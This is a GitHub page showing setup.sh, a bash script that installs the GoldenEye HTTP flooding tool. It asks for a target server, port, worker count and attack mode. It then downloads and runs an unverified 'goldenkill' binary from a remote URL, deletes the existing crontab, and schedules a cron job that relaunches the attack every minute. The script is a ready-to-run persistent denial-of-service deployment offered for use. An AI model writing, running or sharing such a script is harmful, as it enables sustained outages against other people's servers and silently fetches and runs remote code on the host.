-
Notifications
You must be signed in to change notification settings - Fork 0
/
setup.sh
51 lines (43 loc) · 1.53 KB
/
setup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
# Color codes
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
CYAN='\e[36m'
NC='\033[0m' # No Color
apt-get update && apt install -y -q wget curl cron git psmisc
clear
echo -e "${RED} Cloning GoldenEye...${NC}"
cd
git clone https://github.com/jseidl/GoldenEye.git
cd GoldenEye
clear
echo -e "${RED} GoldenEye Configuration: ${NC}"
read -rp "$(echo -e ${CYAN})Enter Full Target Server ip or domain: $(echo -e ${NC})" address
read -rp "$(echo -e ${CYAN})Enter Target Server Port: $(echo -e ${NC})" port
read -rp "$(echo -e ${CYAN})Enter number of connections per worker: $(echo -e ${NC})" connections
read -rp "$(echo -e ${CYAN})Enter number of workers: $(echo -e ${NC})" workers
read -rp "$(echo -e ${CYAN})Enter Attack Mode (get, post, random): $(echo -e ${NC})" mode
echo -e "${RED} Setting up GoldenEye... ${NC}"
wget https://raw.githubusercontent.com/sons-of-liberty/Golden/main/goldenkill
mv goldenkill /bin/goldenkill
chmod +x /bin/goldenkill
cat > /bin/golden<<EOF
#!/bin/bash
python3 /root/GoldenEye/goldeneye.py http://$address:$port/ -s $connections -w $workers -m $mode
EOF
chmod +x /bin/golden
echo -e "${RED} GoldenEye Setup Finished. ${NC}"
clear
echo -e "${RED} Creating Cronjob...${NC}"
clear
crontab -r
function addtocrontab () {
local frequency=$1
local command=$2
local job="$frequency $command"
cat <(fgrep -i -v "$command" <(crontab -l)) <(echo "$job") | crontab -
}
addtocrontab "*/1 * * * *" "goldenkill; golden"
echo -e "${RED} Cronjob Created. ${NC}"
echo -e "${RED} Setup Finished Successfully. Adios. ${NC}"